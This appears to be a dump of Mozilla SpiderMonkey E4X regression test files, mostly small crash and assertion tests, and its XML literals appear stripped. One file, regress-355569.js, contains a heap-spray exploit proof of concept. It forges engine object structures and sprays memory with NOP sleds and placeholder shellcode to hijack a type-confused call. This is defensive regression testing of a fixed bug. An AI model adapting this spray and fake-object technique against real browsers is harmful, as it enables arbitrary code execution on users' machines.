{} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try {} catch(e) {} try { if (2 == 0) { } else { [].(0); } } catch (e) {} reportCompare(0, 0, "ok"); mozjs17.0.0/js/src/tests/e4x/Regress/regress-474319.js0000775000175000017500000000151012106270663022041 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip-if(Android) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = 'Do not crash with e4x, map and concat'; var BUGNUMBER = 474319; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); if (typeof gczeal != 'function' || !('map' in Array.prototype)) { expect = actual = 'Test skipped due to lack of gczeal and Array.prototype.map'; } else { gczeal(2); try { (function(){[].map(''.concat)})(); } catch(ex) { } gczeal(0); } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-371369.js0000664000175000017500000000146612106270663022051 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 371369; var summary = 'delete xml.function::name does not work'; var actual = 'No Exception'; var expect = 'No Exception'; printBugNumber(BUGNUMBER); START(summary); var xml = ; xml.function::something = function() { }; delete xml.function::something; try { xml.something(); throw "Function can be called after delete"; } catch(e) { if (!(e instanceof TypeError)) throw "Unexpected exception: " + e; } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-354145-02.js0000664000175000017500000000135612106270663022257 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 354145; var summary = 'Immutable XML'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); var list = <> var N = 10; for (var i = 0; i != N; ++i) list[i] = <{"a"+i}/>; function prepare() { for (var i = N - 1; i >= 0; --i) delete list[i]; gc(); return "test"; } list.child({ toString: prepare }); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-327691-02.js0000664000175000017500000000112612106270663022260 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "Do not crash during gc()"; var BUGNUMBER = 327691; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); var A=; var B=A.h; var D=B.h; B.h=D.h; B[0]=B.h; gc(); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-383255.js0000664000175000017500000000114012106270663022033 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = 'Do not assert: JS_UPTRDIFF(fp->sp, fp->spbase) <= depthdiff'; var BUGNUMBER = 383255; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); try { [0]++; } catch(ex) { print(ex); } TEST(1, expect, actual) END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-374160.js0000664000175000017500000000115412106270663022033 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 374160; var summary = 'Do not assert with ..@c[0]=3'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); ..@c[0] = 3; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-369740.js0000664000175000017500000000206112106270663022041 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 369740; var summary = 'generic code for function::'; var actual = 'No Exception'; var expect = 'No Exception'; printBugNumber(BUGNUMBER); START(summary); actual = expect = Math.function::sin + ''; TEST(1, expect, actual); var x = ; x.function::toString = function(){return "moo"}; actual = x + ''; expect = ''; TEST(2, expect, actual); x = <>; expect = "\n"; try { with (x) { function::toString = function() { return "test"; } } actual = x + ''; } catch(ex) { actual = ex + ''; } TEST(3, expect, actual); // test for regression caused by initial patch expect = actual = 'No Crash'; const xhtmlNS = null; this[xhtmlNS] = {}; TEST(4, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-364017.js0000664000175000017500000000127012106270663022032 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 364017; var summary = 'Do not assert map->vector && i < map->length'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); if (typeof dis != 'undefined') { dis( function() { XML.prototype.function::toString = function() { return "foo"; }; }); } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-263936.js0000664000175000017500000000122312106270663022040 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("Testing replacing an element with a list that contains a text node"); printBugNumber(263936); var x = one three ; // insert a text node "two" between elements and x.a += XML("two"); var expected = one two three ; TEST(1, expected, x); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-264369.js0000664000175000017500000000100512106270663022037 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("toXMLString() should escape '>'"); printBugNumber(264369); var x = ; var chars = "<>&"; x.b = chars; TEST(1, "<>&", x.b.toXMLString()); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-356238-02.js0000664000175000017500000000145712106270663022266 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 356238; var summary = 'bug 356238'; var actual = 'No Duplicate'; var expect = 'No Duplicate'; printBugNumber(BUGNUMBER); START(summary); var xml = ; var child = xml.child[0]; try { child.insertChildAfter(null, xml.child); actual = "insertChildAfter succeeded when it should throw an exception"; } catch (e) { } if (child.a[0] === child.a[1]) actual = 'Duplicate detected'; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-271545.js0000664000175000017500000000153112106270663022035 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START('XML("") should create empty text node'); printBugNumber(271545); // Check that text node should ignore any attempt to add a child to it var x; x = new XML(); x.a = "foo"; TEST_XML(1, "", x); x = new XML(""); x.a = "foo"; TEST_XML(2, "", x); x = new XML(null); x.a = "foo"; TEST_XML(3, "", x); x = new XML(undefined); x.a = "foo"; TEST_XML(4, "", x); var textNodeContent = "some arbitrary text without XML markup"; x = new XML(textNodeContent); x.a = "foo"; TEST_XML(5, textNodeContent, x); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-374116.js0000664000175000017500000000105312106270663022032 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 374116; var summary = 'Crash with .@b[1] = 2;'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); .@b[1] = 2; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-319872.js0000664000175000017500000000202512106270663022042 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip -- slow /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 319872; var summary = 'Do not Crash in jsxml.c'; var actual = 'No Crash'; var expect = /(No Crash|InternalError: allocation size overflow)/; printBugNumber(BUGNUMBER); START(summary); printStatus ("Expect either no error or out of memory"); expectExitCode(0); expectExitCode(5); try { var i,m,str; str="f00k"; var xx = new XML(str); printStatus(xx.toXMLString()); } catch(ex) { actual = ex + ''; print(actual); } reportMatch(expect, actual, summary); mozjs17.0.0/js/src/tests/e4x/Regress/regress-290056.js0000664000175000017500000000177612106270663022046 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = 'Dont crash when serializing an XML object where the name ' + 'of an attribute was changed with setName'; var BUGNUMBER = 290056; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); var link = ; var xlinkNamespace = new Namespace('xlink', 'http://www.w3.org/1999/xlink'); link.addNamespace(xlinkNamespace); printStatus('In scope namespace: ' + link.inScopeNamespaces()); printStatus('XML markup: ' + link.toXMLString()); link.@type.setName(new QName(xlinkNamespace.uri, 'type')); printStatus('name(): ' + link.@*::*[0].name()); printStatus(link.toXMLString()); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-354998.js0000664000175000017500000000267312106270663022063 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 354998; var summary = 'prototype should not be enumerated for XML objects.'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); function test() { var list = <>; var count = 0; var now = Date.now; var time = now(); for (var i in list) { ++count; } time = now() - time; if (count != 2) { if (count < 2) throw "Enumerator has not looped over all properties, count="+count; throw "Enumerator has looped over prototype chain of xml, count="+count; } return time; } try { var time1 = test(); for (var i = 0; i != 1000*1000; ++i) Object.prototype[i] = i; var time2 = test(); // clean up Object prototype so it won't // hang enumerations in options()... for (var i = 0; i != 1000*1000; ++i) delete Object.prototype[i]; if (time1 * 10 + 1 < time2) { throw "Assigns to Object.prototype increased time of XML enumeration from "+ time1+"ms to "+time2+"ms"; } } catch(ex) { actual = ex = ''; } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-344455.js0000664000175000017500000000125412106270663022040 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "Error - tag name mismatch error message should include tag name"; var BUGNUMBER = 344455; var actual = ''; var expect = 'SyntaxError: XML tag name mismatch (expected foo)'; printBugNumber(BUGNUMBER); START(summary); try { eval('x = ;'); } catch(ex) { actual = ex + ''; } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-426520.js0000775000175000017500000000114212106270663022031 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = 'Do not crash @ ParseXMLSource'; var BUGNUMBER = 426520; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); undefined = {}; try { with (this) { throw ; } } catch(ex) { } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-354145-04.js0000664000175000017500000000136712106270663022263 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 354145; var summary = 'Immutable XML'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); var xml = ; var N = 10; for (var i = 0; i != N; ++i) xml.appendChild(<{'a'+i}/>); function prepare() { delete xml.*; gc(); return "test"; } var last = xml.*[N - 1]; xml.insertChildAfter(last, { toString: prepare }); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-301553.js0000664000175000017500000000121112106270663022021 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "E4X - Should not repress exceptions"; var BUGNUMBER = 301553; var actual = 'No exception'; var expect = 'exception'; printBugNumber(BUGNUMBER); START(summary); try { var x = ; Object.toString.call(x); } catch(e) { actual = 'exception'; } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-460180.js0000664000175000017500000000110212106270663022022 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = 'Do not crash with if (false || false || ) {}'; var BUGNUMBER = 460180; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); if (false || false || ) { } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-354145-07.js0000664000175000017500000000123012106270663022253 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 354145; var summary = 'Immutable XML'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); var a = try { a.insertChildAfter(a.b[0], {toString: function() { throw 1; }}); } catch (e) { } for each (var i in a) { } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-350238.js0000664000175000017500000000201512106270663022030 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip-if(!xulRuntime.shell) slow /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 350238; var summary = 'Do not assert .@*++'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); if (typeof document != 'undefined' && 'addEventListener' in document) { document.addEventListener('load', (function () { var iframe = document.createElement('iframe'); document.body.appendChild(iframe); iframe.contentDocument.location.href='javascript:.@*++;'; }), true); } else { .@*++; } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/browser.js0000664000175000017500000000000012106270663021267 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/Regress/regress-407323.js0000664000175000017500000000144612106270663022035 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = 'XML, XMLList, QName are mutable, Namespace is not.'; var BUGNUMBER = 407323; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); var obj = {}; var saveQName = QName; var saveXML = XML; var saveXMLList = XMLList; var saveNamespace = Namespace; QName = obj; TEST(1, obj, QName); XML = obj; TEST(2, obj, XML); XMLList = obj; TEST(3, obj, XMLList); Namespace = obj; TEST(4, obj, Namespace); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-263935.js0000664000175000017500000000144212106270663022042 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("Qualified names specifying all names in no namespace should only match names without namespaces"); printBugNumber(263935); var ns1 = new Namespace("http://www.ns1.com"); var ns2 = new Namespace("http://www.ns2.com"); var none = new Namespace(); var x = x.foo = "one"; x.ns1::foo = "two"; x.ns2::foo = "three"; x.bar = "four"; var actual = x.none::*; var expected = <> one four TEST(1, expected, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-677032.js0000664000175000017500000000036012106270663022035 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) // Any copyright is dedicated to the Public Domain. // http://creativecommons.org/licenses/publicdomain/ var a; for (function::a in [1]) ; assertEq(a, "0"); reportCompare(0, 0, 'ok');mozjs17.0.0/js/src/tests/e4x/Regress/regress-355569.js0000664000175000017500000001100712106270663022045 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var bug = 355569; var actual = ''; var expect = ''; START('XML.prototype.hasOwnProperty foo'); printBugNumber (bug); printStatus (summary); var targetAddress = 0x12030010; var sprayParams = { chunkSize: 16 * 1024 * 1024, chunkCount: 16, chunkMarker: 0xdeadface, chunkAlign: 0x1000, reservedSize: 1024 }; function makeExploitCode() { /* mov eax, 0xdeadfeed; mov ebx, eax; mov ecx, eax; mov edx, eax; int3 */ return "\uEDB8\uADFE\u89DE\u89C3\u89C1\uCCC2"; } /*==========================================================================*/ /*==========================================================================*/ function packData(template, A) { var n = 0, result = "", vl; for(var i = 0; i < template.length; i++) { var ch = template.charAt(i); if(ch == "s" || ch == "S") { vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff); } else if(ch == "l" || ch == "L") { // XXX endian vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff, vl >> 16); } else if(ch == "=") { result += String(A[n++]); } } return result; } function buildStructure(worker, address) { var offs = {}, result = "", context = { append: function(k, v) { offs[k] = result.length * 2; result += v; }, address: function(k) { return address + ((k && offs[k]) || 0); } }; worker(context); result = ""; worker(context); return result; } function repeatToLength(s, L) { if(L <= s.length) { return s.substring(0, L); } while(s.length <= L/2) { s += s; } return s + s.substring(0, L - s.length); } function sprayData(data, params, rooter) { var marker = packData("L", [ params.chunkMarker ]); data += repeatToLength("\u9090", params.chunkAlign / 2 - data.length); data = repeatToLength(data, (params.chunkSize - params.reservedSize) / 2); for(var i = 0; i < params.chunkCount; i++) { rooter[i] = marker + data + i; } } function T_JSObject(map, slots) { return packData("LL", arguments); } function T_JSObjectMap(nrefs, ops, nslots, freeslot) { return packData("LLLL", arguments); } function T_JSObjectOps( newObjectMap, destroyObjectMap, lookupProperty, defineProperty, getProperty, setProperty, getAttributes, setAttributes, deleteProperty, defaultValue, enumerate, checkAccess, thisObject, dropProperty, call, construct, xdrObject, hasInstance, setProto, setParent, mark, clear, getRequiredSlot, setRequiredSlot ) { return packData("LLLLLLLL LLLLLLLL LLLLLLLL", arguments); } function T_JSXML_LIST( object, domnode, parent, name, xml_class, xml_flags, kids_length, kids_capacity, kids_vector, kids_cursors, xml_target, xml_targetprop ) { return packData("LLLLSS LLLL LL", arguments); } function T_JSXML_ELEMENT( object, domnode, parent, name, xml_class, xml_flags, kids_length, kids_capacity, kids_vector, kids_cursors, nses_length, nses_capacity, nses_vector, nses_cursors, atrs_length, atrs_capacity, atrs_vector, atrs_cursors ) { return packData("LLLLSS LLLL LLLL LLLL", arguments); } /*==========================================================================*/ /*==========================================================================*/ function makeExploitData(address) { return buildStructure(function(ctx) { ctx.append("xml-list", T_JSXML_LIST(0, 0, 0, 0, 0, 0, 1, 0, ctx.address("xml-kids-vector"), 0, 0, 0)); ctx.append("xml-kids-vector", packData("L", [ ctx.address("xml-element") ])); ctx.append("xml-element", T_JSXML_ELEMENT(ctx.address("object"), 0, 0, 0, 1, 0, 0, 0, 0, 0, /*c*/ 0, 0, 0, 0, /*d*/ 0, 0, 0, 0)); ctx.append("object", T_JSObject(ctx.address("object-map"), 0)); ctx.append("object-map", T_JSObjectMap(0, ctx.address("object-ops"), 0, 0)); ctx.append("object-ops", T_JSObjectOps(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ctx.address("exploit-code"), 0)); ctx.append("exploit-code", makeExploitCode(ctx)); }, address); } function exploit() { sprayData(makeExploitData(targetAddress), sprayParams, this.rooter = {}); var numobj = new Number(targetAddress >> 1); XML.prototype.function::hasOwnProperty.call(numobj); printStatus("probably not exploitable"); } try { exploit(); } catch(ex) { } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-277779.js0000664000175000017500000000151212106270663022053 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ // testcase from Martin.Honnen@arcor.de var summary = 'call setNamespace on element with already existing default 